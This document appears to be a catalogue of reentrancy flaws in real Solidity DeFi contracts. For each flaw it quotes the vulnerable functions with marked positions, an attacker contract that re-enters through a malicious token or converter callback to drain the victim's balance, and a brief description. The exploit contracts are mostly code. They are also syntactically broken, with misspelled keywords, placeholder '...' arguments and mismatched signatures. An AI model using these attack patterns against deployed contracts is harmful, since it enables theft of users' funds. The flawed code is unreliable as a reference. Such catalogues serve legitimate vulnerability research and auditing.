Exploitation Code

Reentrancy-1

Vulnerable Code 1

function sellOnApprove(
    IMultiToken _mtkn,
    uint256 _amount,
    ERC20 _throughToken,
    address[] _exchanges,
    bytes _datas,
    uint[] _datasIndexes, // including 0 and LENGTH values
    address _for
)
    public
{
    if (_throughToken == address(0)) {
        require(_mtkn.tokensCount() == _exchanges.length, "sell: _mtkn should have the same tokens count as _exchanges");
    } else {
        require(_mtkn.tokensCount() + 1 == _exchanges.length, "sell: _mtkn should have tokens count + 1 equal _exchanges length");
    }
    require(_datasIndexes.length == _exchanges.length + 1, "sell: _datasIndexes should start with 0 and end with LENGTH");

    _mtkn.transferFrom(msg.sender, this, _amount);
    _mtkn.unbundle(this, _amount);

    for (uint i = 0; i < _exchanges.length; i++) {
        bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]);
        for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) {
            data[j - _datasIndexes[i]] = _datas[j];
        }
        if (data.length == 0) {
            continue;
        }

        if (i == _exchanges.length - 1 && _throughToken != address(0)) {
            if (_throughToken.allowance(this, _exchanges[i]) == 0) {
                _throughToken.asmApprove(_exchanges[i], uint256(-1));
            }
        } else {
            ERC20 token = _mtkn.tokens(i);
            if (_exchanges[i] == 0) {
                token.asmTransfer(_for, token.balanceOf(this));
                continue;
            }
            if (token.allowance(this, _exchanges[i]) == 0) {
                token.asmApprove(_exchanges[i], uint256(-1));
            }
        }
        // solium-disable-next-line security/no-low-level-calls
        require(_exchanges[i].call(data), "sell: exchange arbitrary call failed");
    }

    _for.transfer(address(this).balance);   //vulnerability position_1
    if (_throughToken != address(0) && _throughToken.balanceOf(this) > 0) {     //vulnerability position_2
        _throughToken.asmTransfer(_for, _throughToken.balanceOf(this));
    }
}

Exploit Code

Contract ERC20{

}
Contract Attack is ERC20{
    uint count;
    address victimAddress;
    function setVictim(address  _victim){
        victimAddress = _victim;
    }
    funciton balanceof(address _address) payable{
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256(“sellOnApprove(IMultiToken , uint256,  ERC20,  address[],  bytes,  uint[],  address)”)), ..., ..., ERC20(this), ..., ..., ..., this );
        }
    }
}

Description

Note the location of comment of vulnerability position_2: IF _throughToken object obtained from a malicious address, the method of balanceOf can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim

Reentrancy-2

Vulnerable Code 1

function buyFirstTokens(
        IMultiToken _mtkn,
        bytes _callDatas,
        uint[] _starts // including 0 and LENGTH values
        )
        public
        payable
    {
        change(_callDatas, _starts);

        uint tokensCount = _mtkn.tokensCount();
        uint256[] memory amounts = new uint256[](tokensCount);
        for (uint i = 0; i < tokensCount; i++) {
            ERC20 token = _mtkn.tokens(i);
            amounts[i] = token.balanceOf(this);
            if (token.allowance(this, _mtkn) == 0) {
                token.asmApprove(_mtkn, uint256(-1));
            }
        }

        _mtkn.bundleFirstTokens(msg.sender, msg.value.mul(1000), amounts);
        if (address(this).balance > 0) {
            msg.sender.transfer(address(this).balance);     //vulnerability position_1
        }
        for (i = _mtkn.tokensCount(); i > 0; i--) {         //vulnerability position_2
            token = _mtkn.tokens(i - 1);
            token.asmTransfer(msg.sender, token.balanceOf(this));
        }
    }

Vulnerable Code 2

function buyFirstTokens(
    IMultiToken mtkn,
    bytes callDatas,
    uint[] starts, // including 0 and LENGTH values
    uint ethPriceMul,
    uint ethPriceDiv
)
    public
    payable
{
    change(callDatas, starts);

    uint tokensCount = mtkn.tokensCount();
    uint256[] memory amounts = new uint256[](tokensCount);
    for (uint i = 0; i < tokensCount; i++) {
        ERC20 token = mtkn.tokens(i);
        amounts[i] = token.balanceOf(this);
        if (token.allowance(this, mtkn) == 0) {
            token.asmApprove(mtkn, uint256(-1));
        }
    }

    mtkn.bundleFirstTokens(msg.sender, msg.value.mul(ethPriceMul).div(ethPriceDiv), amounts);
    if (address(this).balance > 0) {
        msg.sender.transfer(address(this).balance);
    }
    for (i = mtkn.tokensCount(); i > 0; i--) {
        token = mtkn.tokens(i - 1);
        if (token.balanceOf(this) > 0) {   //different code
            token.asmTransfer(msg.sender, token.balanceOf(this));
        }
    }
}

Exploit Code

contract IMultiToken{

}
Contract Attack is IMultiToken{
    uint count;
    address victimAddress;
    function setVictim(address  _victim){
        victimAddress = _victim;
    }
    funciton tokensCount() payable{
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256(“buyFirstTokens(IMultiToken , bytes,  uint[])”)), Attack(this), ..., ...);
        }
    }
    function() payable{

    }
}

Description

Note the location of comment of vulnerability position_2: IF IMultiToken object obtained from a malicious address, the method of buyFirstTokens can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate parameter

Reentrancy-3

Vulnerable Code 1

function sendEthProportion(address target, bytes data, uint256 mul, uint256 div) external {
        uint256 value = address(this).balance.mul(mul).div(div);
        // solium-disable-next-line security/no-call-value
        require(target.call.value(value)(data));   //vulnerability position
}

Vulnerable Code 2

function kyberSendEthProportion(IKyberNetworkProxy _kyber, ERC20 _fromToken, address _toToken, uint256 _mul, uint256 _div) external {
        uint256 value = address(this).balance.mul(_mul).div(_div);
        _kyber.trade.value(value)(
            _fromToken,
            value,
            _toToken,
            this,
            1 << 255,
            0,
            0
        );
}

Exploit Code

Contract Attack{
    uint count;
    address victimAddress;
    bytes  bs4 = new bytes(4);
    bytes4 functionSignature = bytes4(keccak256("startAttack()"));

    function setVictim(address  _victim){
        victimAddress = _victim;
    }

    funciton startAttack(address _address) payable{
        for (uint i = 0; i< bs4.length; i++){
            bs4[i] = functionSignature[i];
        }
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256(“sendEthProportion(address, bytes,  uint256,  uint256)”)), this, bs4, 10, 1);
        }
    }
}

Description

Note the location of comment of vulnerability position: IF argument “target”” is transmited from a malicious address, the method of startAttack can be a malicious function to reentrancy.

Reentrancy-6

Vulnerable Code 1

function convertSafe(
        TokenConverter converter,
        Token fromToken,
        Token toToken,
        uint256 amount
    ) internal returns (uint256 bought) {
        if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, amount));
        uint256 prevBalance = toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance;
        uint256 sendEth = fromToken == ETH_ADDRESS ? amount : 0;
        uint256 boughtAmount = converter.convert.value(sendEth)(fromToken, toToken, amount, 1); //Vulnerable position
        require(
            boughtAmount == (toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance) - prevBalance,
            "Bought amound does does not match"
        );
        if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, 0));
        return boughtAmount;
}

Vulnerable Code 2

function convertSafe(
    TokenConverter converter,
    Token fromToken,
    Token toToken,
    uint256 amount
) internal returns (uint256 bought) {
    if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, amount), "Error approving token transfer");   //different code
    uint256 prevBalance = toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance;
    uint256 sendEth = fromToken == ETH_ADDRESS ? amount : 0;
    uint256 boughtAmount = converter.convert.value(sendEth)(fromToken, toToken, amount, 1);
    require(
        boughtAmount == (toToken != ETH_ADDRESS ? toToken.balanceOf(this) : address(this).balance) - prevBalance,
        "Bought amound does does not match"
    );
    if (fromToken != ETH_ADDRESS) require(fromToken.approve(converter, 0), "Error removing token approve");
    return boughtAmount;
}

Exploit Code

Contract TokenConverter {

}
Contract Attack is TokenConverter{
    uint count;
    address victimAddress;
    bytes  bs4 = new bytes(4);
    bytes4 functionSignature = bytes4(keccak256("startAttack()"));
    function setVictim(address  _victim){
        victimAddress = _victim;
    }
    funciton convert(Token fromToken, Token toToken, uint256 amount, uint256 a) payable{
        for (uint i = 0; i< bs4.length; i++){
            bs4[i] = functionSignature[i];
        }
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256("convertSafe(TokenConverter , Token,  Token)")), TokenConverter(this),  ..., ...);
        }
    }
}

Description

Look at the row “vulnerability position”.The variable ‘converter’ can be passed into any value by a malicious contract

Reentrancy-7

Vulnerable Code 1

function lend(address to, ERC20 token, uint256 amount, address target, bytes data) public payable {
        uint256 prevBalance = token.balanceOf(this);
        token.asmTransfer(to, amount);
        _inLendingMode += 1;
        require(caller().makeCall.value(msg.value)(target, data), "lend: arbitrary call failed");  //Vulnerable position_1
        _inLendingMode -= 1;
        require(token.balanceOf(this) >= prevBalance, "lend: lended token must be refilled"); //Vulnerable position_2
}
function lend(address to, ERC20 token, uint256 amount, address target, bytes data) public payable {
        uint256 expectedBalance = token.balanceOf(this).mul(TOTAL_PERCRENTS.add(_lendFee)).div(TOTAL_PERCRENTS);
        super.lend(to, token, amount, target, data);
        require(token.balanceOf(this) >= expectedBalance, "lend: tokens must be returned with lend fee");
}

Exploit Code

contract ERC20{

}
Contract Attack is ERC20{
    uint count;
    address victimAddress;
    function setVictim(address  _victim){
        victimAddress = _victim;
    }
    funciton balanceOf() payable{
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256(“lend(address , ERC20,  uint256, address, bytes)”)), ..., ERC20(this), ..., ..., ...);
        }
    }
    function() payable{

    }
}

Description

Note the location of comment of vulnerability position_2: IF token object obtained from a malicious address, the method of balanceOf can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate parameter

Reentrancy-8

Vulnerable Code 1

function withdraw (address account, address tokenAddr, uint256 index_from, uint256 index_to) external returns (bool) {
        require(account != address(0x0));

        uint256 release_amount = 0;
        for (uint256 i = index_from; i < lockedBalances[account][tokenAddr].length && i < index_to + 1; i++) {
            if (lockedBalances[account][tokenAddr][i].balance > 0 &&
                lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {

                release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
                lockedBalances[account][tokenAddr][i].balance = 0;
            }
        }

        require(release_amount > 0);

        if (tokenAddr == 0x0) {
            if (!account.send(release_amount)) {    //Vulnerable position_1
                revert();
            }
            emit Withdraw(account, tokenAddr, release_amount);
            return true;
        } else {
            if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) { //Vulnerable position_2
                revert();
            }
            emit Withdraw(account, tokenAddr, release_amount);
            return true;
        }
}

Vulnerable Code 2

function withdraw (address account, address tokenAddr, uint256 max_count) external returns (bool) {
    require(account != address(0x0));

    uint256 release_amount = 0;
    for (uint256 i = 0; i < lockedBalances[account][tokenAddr].length && i < max_count; i++) {   //code different
        if (lockedBalances[account][tokenAddr][i].balance > 0 &&
            lockedBalances[account][tokenAddr][i].releaseTime <= block.timestamp) {

            release_amount = release_amount.add(lockedBalances[account][tokenAddr][i].balance);
            lockedBalances[account][tokenAddr][i].balance = 0;
        }
    }

    require(release_amount > 0);

    if (tokenAddr == 0x0) {
        if (!account.send(release_amount)) {
            revert();
        }
        emit Withdraw(account, tokenAddr, release_amount);
        return true;
    } else {
        if (!ERC20Interface(tokenAddr).transfer(account, release_amount)) {
            revert();
        }
        emit Withdraw(account, tokenAddr, release_amount);
        return true;
    }
}//out9608

Exploit Code

contract ERC20Interface{

}
Contract Attack is ERC20Interface{
    uint count;
    address victimAddress;
    function setVictim(address  _victim){
        victimAddress = _victim;
    }
    funciton transfer(address account, address release_amount) payable{
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256(“withdraw(address , address,  uint256, uint256)”)), this, this, ..., ...);
        }
    }
    function() payable{

    }
}

Description

Note the location of comment of vulnerability position_2: IF argument “tokenAddr” is transmited from a malicious address, the method of “transfer” can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate parameter

Reentrancy-9

Vulnerable Code 1

function buyInternal(
        ERC20 token,
        address _exchange,
        uint256 _value,
        bytes _data
    )
        internal
    {
        require(
            // 0xa9059cbb - transfer(address,uint256)
            !(_data[0] == 0xa9 && _data[1] == 0x05 && _data[2] == 0x9c && _data[3] == 0xbb) &&
            // 0x095ea7b3 - approve(address,uint256)
            !(_data[0] == 0x09 && _data[1] == 0x5e && _data[2] == 0xa7 && _data[3] == 0xb3) &&
            // 0x23b872dd - transferFrom(address,address,uint256)
            !(_data[0] == 0x23 && _data[1] == 0xb8 && _data[2] == 0x72 && _data[3] == 0xdd),
            "buyInternal: Do not try to call transfer, approve or transferFrom"
        );
        uint256 tokenBalance = token.balanceOf(this);
        require(_exchange.call.value(_value)(_data));        //Vulnerable position
        balances[msg.sender] = balances[msg.sender].sub(_value);
        tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
            .add(token.balanceOf(this).sub(tokenBalance));
    }

Vulnerable Code 2

function buyOne(
        ERC20 token,
        address _exchange,
        uint256 _value,
        bytes _data
        )
        payable
        public
        {
        balances[msg.sender] = balances[msg.sender].add(msg.value);
        uint256 tokenBalance = token.balanceOf(this);
        require(_exchange.call.value(_value)(_data));
        balances[msg.sender] = balances[msg.sender].sub(_value);
        tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
            .add(token.balanceOf(this).sub(tokenBalance));
}

Exploit Code

Contract Attack is XXXX{
    uint count;
    address victimAddress;
    bytes  bs4 = new bytes(4);
    bytes4 functionSignature = bytes4(keccak256("startAttack()"));
    function setVictim(address  _victim){
        victimAddress = _victim;
    }
    funciton startAttack() payable{
        for (uint i = 0; i< bs4.length; i++){
            bs4[i] = functionSignature[i];
        }
        count++;
        if(count < 5){
            victimAddress.call(byte4(keccak256(“buyInternal(ERC20, address, uint256, bytes)”)), ..., this, ..., bs4);
        }
    }
    function() payable{

    }
}

Description

Note the location of comment of vulnerability position_2: IF the paramete of ‘_exchange’ is transformed from a malicious address, the method of “startAttack” can be a malicious function to reentrancy.Every single re-entry the comment of vulnerability position_1 will pick up the balance of Victim. ps:”….” represent an appropriate paramete.’XXXX’ represents the Vulnerability contracts’s name